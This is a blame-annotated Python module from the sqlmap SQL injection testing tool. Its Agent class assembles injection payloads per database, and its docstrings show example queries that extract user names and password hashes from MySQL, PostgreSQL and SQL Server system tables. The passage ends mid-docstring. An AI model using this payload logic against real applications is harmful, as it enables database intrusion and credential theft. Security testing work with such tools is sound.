2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-14 18:41:14 +04:00
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
|
|
|
2010-06-30 01:07:23 +04:00
|
|
|
from xml.etree import ElementTree as ET
|
|
|
|
|
2010-10-29 20:11:50 +04:00
|
|
|
from lib.core.common import getCompiledRegex
|
2011-01-13 18:15:56 +03:00
|
|
|
from lib.core.common import getErrorParsedDBMSes
|
2011-01-13 20:36:54 +03:00
|
|
|
from lib.core.common import getIdentifiedDBMS
|
2010-12-10 14:32:46 +03:00
|
|
|
from lib.core.common import isDBMSVersionAtLeast
|
2010-12-15 15:50:56 +03:00
|
|
|
from lib.core.common import isTechniqueAvailable
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import randomInt
|
|
|
|
from lib.core.common import randomStr
|
2010-01-17 00:56:40 +03:00
|
|
|
from lib.core.convert import urlencode
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import queries
|
2010-10-20 03:00:19 +04:00
|
|
|
from lib.core.datatype import advancedDict
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2010-12-08 16:09:27 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import PLACE
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.exception import sqlmapNoneDataException
|
2011-01-15 18:14:22 +03:00
|
|
|
from lib.core.settings import INBAND_FROM_TABLE
|
2010-10-29 20:11:50 +04:00
|
|
|
from lib.core.settings import PAYLOAD_DELIMITER
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
class Agent:
|
|
|
|
"""
|
|
|
|
This class defines the SQL agent methods.
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
def payloadDirect(self, query):
|
2010-11-08 00:18:09 +03:00
|
|
|
if query.startswith("AND "):
|
|
|
|
query = query.replace("AND ", "SELECT ", 1)
|
2010-03-27 02:23:25 +03:00
|
|
|
elif query.startswith(" UNION ALL "):
|
2010-03-30 15:52:01 +04:00
|
|
|
query = query.replace(" UNION ALL ", "", 1)
|
2010-03-27 02:23:25 +03:00
|
|
|
elif query.startswith("; "):
|
2010-03-30 15:52:45 +04:00
|
|
|
query = query.replace("; ", "", 1)
|
2010-03-27 02:23:25 +03:00
|
|
|
|
2010-10-31 17:22:32 +03:00
|
|
|
if kb.tamperFunctions:
|
|
|
|
for function in kb.tamperFunctions:
|
|
|
|
query = function(query)
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
return query
|
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This method replaces the affected parameter with the SQL
|
|
|
|
injection statement to request
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
|
|
|
return self.payloadDirect(newValue)
|
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
retValue = ""
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
if where is None and isTechniqueAvailable(kb.technique):
|
|
|
|
where = kb.injection.data[kb.technique].where
|
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
# Debug print
|
|
|
|
#print "value: %s, newValue: %s, where: %s, kb.technique: %s" % (value, newValue, where, kb.technique)
|
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
if kb.injection.place is not None:
|
|
|
|
place = kb.injection.place
|
2008-12-03 00:56:23 +03:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
if kb.injection.parameter is not None:
|
|
|
|
parameter = kb.injection.parameter
|
2010-12-03 13:44:16 +03:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
paramString = conf.parameters[place]
|
|
|
|
paramDict = conf.paramDict[place]
|
|
|
|
origValue = paramDict[parameter]
|
|
|
|
|
|
|
|
if value is None:
|
|
|
|
if where == 1:
|
|
|
|
value = origValue
|
|
|
|
elif where == 2:
|
|
|
|
if newValue.startswith("-"):
|
2010-12-03 13:44:16 +03:00
|
|
|
value = ""
|
2011-01-12 01:18:47 +03:00
|
|
|
else:
|
2011-01-12 15:03:23 +03:00
|
|
|
value = "-%s" % randomInt()
|
|
|
|
elif where == 3:
|
|
|
|
value = ""
|
|
|
|
else:
|
|
|
|
value = origValue
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
newValue = "%s%s" % (value, newValue)
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
newValue = self.cleanupPayload(newValue, origValue)
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
if "POSTxml" in conf.paramDict and place == PLACE.POST:
|
|
|
|
root = ET.XML(paramString)
|
|
|
|
iterator = root.getiterator(parameter)
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
for child in iterator:
|
|
|
|
child.text = self.addPayloadDelimiters(newValue)
|
2010-06-30 01:07:23 +04:00
|
|
|
|
2011-01-12 15:03:23 +03:00
|
|
|
retValue = ET.tostring(root)
|
|
|
|
elif place in (PLACE.UA, PLACE.URI):
|
|
|
|
retValue = paramString.replace("*", self.addPayloadDelimiters(newValue))
|
|
|
|
else:
|
|
|
|
retValue = paramString.replace("%s=%s" % (parameter, origValue),
|
|
|
|
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
|
|
|
|
|
|
|
|
# Debug print
|
|
|
|
#print "retValue:", retValue
|
2010-01-17 00:56:40 +03:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return retValue
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-22 22:36:01 +03:00
|
|
|
def fullPayload(self, query):
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
|
|
|
return self.payloadDirect(query)
|
|
|
|
|
2010-12-14 00:34:35 +03:00
|
|
|
query = self.prefixQuery(query)
|
|
|
|
query = self.suffixQuery(query)
|
2008-12-22 22:36:01 +03:00
|
|
|
payload = self.payload(newValue=query)
|
|
|
|
|
|
|
|
return payload
|
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
def prefixQuery(self, string, prefix=None, where=None, clause=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This method defines how the input string has to be escaped
|
|
|
|
to perform the injection depending on the injection type
|
|
|
|
identified as valid
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
|
|
|
return self.payloadDirect(string)
|
|
|
|
|
2010-12-03 14:15:11 +03:00
|
|
|
query = None
|
|
|
|
|
2010-12-03 14:00:41 +03:00
|
|
|
# Either if the technique is stacked queries (<stype>) or we are
|
|
|
|
# replacing (<where>) the parameter original value with our
|
|
|
|
# payload, do not put a space after the prefix
|
2010-12-08 16:09:27 +03:00
|
|
|
if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
|
2010-12-03 13:44:16 +03:00
|
|
|
query = kb.injection.prefix
|
2011-01-12 01:18:47 +03:00
|
|
|
elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
|
|
|
|
query = prefix
|
|
|
|
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
|
|
|
|
query = kb.injection.prefix
|
2010-12-03 17:57:30 +03:00
|
|
|
elif kb.technique and kb.technique in kb.injection.data:
|
2010-12-03 13:44:16 +03:00
|
|
|
where = kb.injection.data[kb.technique].where
|
|
|
|
|
2010-12-03 17:57:30 +03:00
|
|
|
if where == 3:
|
|
|
|
query = kb.injection.prefix
|
2010-12-03 14:15:11 +03:00
|
|
|
|
|
|
|
if query is None:
|
2011-01-16 21:25:18 +03:00
|
|
|
if not kb.injection.prefix and not prefix:
|
|
|
|
query = ""
|
|
|
|
elif kb.injection.prefix is None and prefix:
|
2011-01-12 01:18:47 +03:00
|
|
|
query = "%s " % prefix
|
|
|
|
else:
|
|
|
|
query = "%s " % kb.injection.prefix
|
2010-12-03 13:44:16 +03:00
|
|
|
|
|
|
|
query = "%s%s" % (query, string)
|
2010-11-28 21:10:54 +03:00
|
|
|
query = self.cleanupPayload(query)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return query
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
def suffixQuery(self, string, comment=None, suffix=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This method appends the DBMS comment to the
|
|
|
|
SQL injection request
|
|
|
|
"""
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
|
|
|
return self.payloadDirect(string)
|
|
|
|
|
2010-11-28 21:10:54 +03:00
|
|
|
if comment is not None:
|
2008-12-09 00:24:24 +03:00
|
|
|
string += comment
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
if kb.injection.suffix is None and suffix is not None:
|
|
|
|
string += " %s" % suffix
|
|
|
|
else:
|
|
|
|
string += " %s" % kb.injection.suffix
|
|
|
|
|
2010-11-28 21:10:54 +03:00
|
|
|
string = self.cleanupPayload(string)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-12-02 02:32:58 +03:00
|
|
|
return string.rstrip()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-12 04:17:04 +03:00
|
|
|
def cleanupPayload(self, payload, origvalue=None, query=None):
|
2010-12-01 20:09:52 +03:00
|
|
|
if payload is None:
|
|
|
|
return
|
|
|
|
|
2010-12-01 01:40:25 +03:00
|
|
|
randInt = randomInt()
|
|
|
|
randInt1 = randomInt()
|
|
|
|
randStr = randomStr()
|
2010-12-01 13:31:50 +03:00
|
|
|
randStr1 = randomStr()
|
2010-12-01 01:40:25 +03:00
|
|
|
|
|
|
|
payload = payload.replace("[RANDNUM]", str(randInt))
|
|
|
|
payload = payload.replace("[RANDNUM1]", str(randInt1))
|
|
|
|
payload = payload.replace("[RANDSTR]", randStr)
|
2010-12-01 13:31:50 +03:00
|
|
|
payload = payload.replace("[RANDSTR1]", randStr1)
|
|
|
|
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
|
|
|
|
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
2010-12-07 01:40:07 +03:00
|
|
|
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
2010-12-01 01:40:25 +03:00
|
|
|
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
|
|
|
|
2011-01-12 03:47:39 +03:00
|
|
|
if query is not None:
|
|
|
|
payload = payload.replace("[QUERY]", query.lstrip())
|
|
|
|
|
2010-12-02 02:32:58 +03:00
|
|
|
if origvalue is not None:
|
|
|
|
payload = payload.replace("[ORIGVALUE]", origvalue)
|
|
|
|
|
2010-12-06 21:20:57 +03:00
|
|
|
if "[INFERENCE]" in payload:
|
2011-01-13 20:36:54 +03:00
|
|
|
if getIdentifiedDBMS() is not None:
|
|
|
|
inference = queries[getIdentifiedDBMS()].inference
|
2010-12-14 00:34:35 +03:00
|
|
|
|
2010-12-10 14:32:46 +03:00
|
|
|
if "dbms_version" in inference:
|
|
|
|
if isDBMSVersionAtLeast(inference.dbms_version):
|
|
|
|
inferenceQuery = inference.query
|
|
|
|
else:
|
|
|
|
inferenceQuery = inference.query2
|
|
|
|
else:
|
|
|
|
inferenceQuery = inference.query
|
2010-12-14 00:34:35 +03:00
|
|
|
|
2010-12-06 21:20:57 +03:00
|
|
|
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
2011-01-12 03:47:39 +03:00
|
|
|
else:
|
|
|
|
errMsg = "invalid usage of inference payload without "
|
|
|
|
errMsg += "knowledge of underlying DBMS"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
2010-12-03 19:12:47 +03:00
|
|
|
|
2010-12-01 01:40:25 +03:00
|
|
|
return payload
|
|
|
|
|
|
|
|
def getComment(self, reqObj):
|
|
|
|
if "comment" in reqObj:
|
|
|
|
comment = reqObj.comment
|
|
|
|
else:
|
|
|
|
comment = ""
|
|
|
|
|
|
|
|
return comment
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def nullAndCastField(self, field):
|
|
|
|
"""
|
|
|
|
Take in input a field string and return its processed nulled and
|
|
|
|
casted field string.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: VERSION()
|
|
|
|
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
|
|
|
|
MySQL scope: VERSION()
|
|
|
|
|
|
|
|
PostgreSQL input: VERSION()
|
|
|
|
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
|
|
|
|
PostgreSQL scope: VERSION()
|
|
|
|
|
|
|
|
Oracle input: banner
|
|
|
|
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
|
|
|
|
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
|
|
|
|
|
|
|
|
Microsoft SQL Server input: @@VERSION
|
|
|
|
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
|
|
|
|
Microsoft SQL Server scope: @@VERSION
|
|
|
|
|
|
|
|
@param field: field string to be processed
|
|
|
|
@type field: C{str}
|
|
|
|
|
|
|
|
@return: field string nulled and casted
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2010-03-18 20:20:54 +03:00
|
|
|
# SQLite version 2 does not support neither CAST() nor IFNULL(),
|
|
|
|
# introduced only in SQLite version 3
|
2011-01-13 20:36:54 +03:00
|
|
|
if getIdentifiedDBMS() == DBMS.SQLITE:
|
2010-10-15 16:52:33 +04:00
|
|
|
return field
|
2010-03-18 20:20:54 +03:00
|
|
|
|
2009-01-20 00:27:51 +03:00
|
|
|
if field.startswith("(CASE"):
|
|
|
|
nulledCastedField = field
|
|
|
|
else:
|
2011-01-13 20:36:54 +03:00
|
|
|
nulledCastedField = queries[getIdentifiedDBMS()].cast.query % field
|
|
|
|
if getIdentifiedDBMS() == DBMS.ACCESS:
|
|
|
|
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % (nulledCastedField, nulledCastedField)
|
2010-11-05 02:08:59 +03:00
|
|
|
else:
|
2011-01-13 20:36:54 +03:00
|
|
|
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % nulledCastedField
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return nulledCastedField
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def nullCastConcatFields(self, fields):
|
|
|
|
"""
|
|
|
|
Take in input a sequence of fields string and return its processed
|
|
|
|
nulled, casted and concatenated fields string.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: user,password
|
|
|
|
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
|
|
|
|
MySQL scope: SELECT user, password FROM mysql.user
|
|
|
|
|
|
|
|
PostgreSQL input: usename,passwd
|
|
|
|
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
|
|
|
|
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
|
|
|
|
|
|
|
|
Oracle input: COLUMN_NAME,DATA_TYPE
|
|
|
|
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
|
|
|
|
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
|
|
|
|
|
|
|
|
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
|
|
|
|
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
|
|
|
|
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
|
|
|
|
|
|
|
@param fields: fields string to be processed
|
|
|
|
@type fields: C{str}
|
|
|
|
|
|
|
|
@return: fields string nulled, casted and concatened
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
|
|
|
if not kb.dbmsDetected:
|
2010-10-15 16:52:33 +04:00
|
|
|
return fields
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
fields = fields.replace(", ", ",")
|
|
|
|
fieldsSplitted = fields.split(",")
|
2011-01-13 20:36:54 +03:00
|
|
|
dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query
|
2008-10-15 19:38:22 +04:00
|
|
|
nulledCastedFields = []
|
|
|
|
|
|
|
|
for field in fieldsSplitted:
|
|
|
|
nulledCastedFields.append(self.nullAndCastField(field))
|
|
|
|
|
2010-10-20 03:00:19 +04:00
|
|
|
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.misc.delimiter, dbmsDelimiter)
|
2008-10-15 19:38:22 +04:00
|
|
|
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
|
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return nulledCastedConcatFields
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getFields(self, query):
|
2008-12-10 20:23:07 +03:00
|
|
|
"""
|
|
|
|
Take in input a query string and return its fields (columns) and
|
|
|
|
more details.
|
|
|
|
|
|
|
|
Example:
|
|
|
|
|
|
|
|
Input: SELECT user, password FROM mysql.user
|
|
|
|
Output: user,password
|
|
|
|
|
|
|
|
@param query: query to be processed
|
|
|
|
@type query: C{str}
|
|
|
|
|
|
|
|
@return: query fields (columns) and more details
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
2010-03-18 20:20:54 +03:00
|
|
|
prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
|
2009-01-03 04:19:04 +03:00
|
|
|
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
2010-03-18 20:20:54 +03:00
|
|
|
fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
|
|
|
fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
|
|
|
fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
|
|
|
|
fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
|
2008-10-15 19:38:22 +04:00
|
|
|
fieldsNoSelect = query
|
|
|
|
|
|
|
|
if fieldsSelectTop:
|
2008-12-03 02:49:38 +03:00
|
|
|
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsSelectDistinct:
|
2008-12-03 02:49:38 +03:00
|
|
|
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
2009-04-22 15:48:07 +04:00
|
|
|
elif fieldsSelectCase:
|
|
|
|
fieldsToCastStr = fieldsSelectCase.groups()[0]
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsSelectFrom:
|
2008-12-03 02:49:38 +03:00
|
|
|
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsSelect:
|
2008-12-03 02:49:38 +03:00
|
|
|
fieldsToCastStr = fieldsSelect.groups()[0]
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2008-12-03 02:49:38 +03:00
|
|
|
fieldsToCastStr = fieldsNoSelect
|
2010-11-03 13:08:27 +03:00
|
|
|
|
2010-04-03 23:41:47 +04:00
|
|
|
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I): #function
|
|
|
|
fieldsToCastList = [fieldsToCastStr]
|
|
|
|
else:
|
|
|
|
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
|
|
|
fieldsToCastList = fieldsToCastList.split(",")
|
2008-12-03 02:49:38 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def simpleConcatQuery(self, query1, query2):
|
|
|
|
concatenatedQuery = ""
|
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
2009-04-22 15:48:07 +04:00
|
|
|
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
|
2009-04-22 15:48:07 +04:00
|
|
|
concatenatedQuery = "%s||%s" % (query1, query2)
|
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
2009-04-22 15:48:07 +04:00
|
|
|
concatenatedQuery = "%s+%s" % (query1, query2)
|
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return concatenatedQuery
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
def concatQuery(self, query, unpack=True):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Take in input a query string and return its processed nulled,
|
|
|
|
casted and concatenated query string.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: SELECT user, password FROM mysql.user
|
|
|
|
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
|
|
|
|
|
|
|
|
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
|
|
|
|
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
|
|
|
|
|
|
|
|
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
|
|
|
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
|
|
|
|
|
|
|
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
|
|
|
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
|
|
|
|
|
|
|
|
@param query: query string to be processed
|
|
|
|
@type query: C{str}
|
|
|
|
|
|
|
|
@return: query string nulled, casted and concatenated
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if unpack:
|
2009-04-22 15:48:07 +04:00
|
|
|
concatenatedQuery = ""
|
|
|
|
query = query.replace(", ", ",")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
|
|
|
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
|
|
|
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
|
|
|
else:
|
|
|
|
concatenatedQuery = query
|
|
|
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
2011-01-16 04:17:09 +03:00
|
|
|
if fieldsSelectFrom:
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
|
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.misc.stop, 1)
|
2011-01-16 04:17:09 +03:00
|
|
|
elif (fieldsSelect, fieldsSelectCase):
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
|
|
|
concatenatedQuery += ",'%s')" % kb.misc.stop
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
|
2011-01-16 04:17:09 +03:00
|
|
|
if fieldsSelectFrom:
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
|
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.misc.stop, 1)
|
2011-01-16 04:17:09 +03:00
|
|
|
elif (fieldsSelect, fieldsSelectCase):
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
|
|
|
concatenatedQuery += "||'%s'" % kb.misc.stop
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
|
2009-04-22 15:48:07 +04:00
|
|
|
concatenatedQuery += " FROM DUAL"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-13 20:36:54 +03:00
|
|
|
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
2009-01-03 02:26:45 +03:00
|
|
|
if fieldsSelectTop:
|
2009-04-22 15:48:07 +04:00
|
|
|
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.misc.start), 1)
|
|
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
|
2009-01-03 02:26:45 +03:00
|
|
|
elif fieldsSelectFrom:
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
|
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
|
2011-01-16 04:17:09 +03:00
|
|
|
elif (fieldsSelect, fieldsSelectCase):
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
|
|
|
concatenatedQuery += "+'%s'" % kb.misc.stop
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2010-10-20 03:00:19 +04:00
|
|
|
concatenatedQuery = "'%s'+%s+'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return concatenatedQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, multipleUnions=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Take in input an query (pseudo query) string and return its
|
|
|
|
processed UNION ALL SELECT query.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
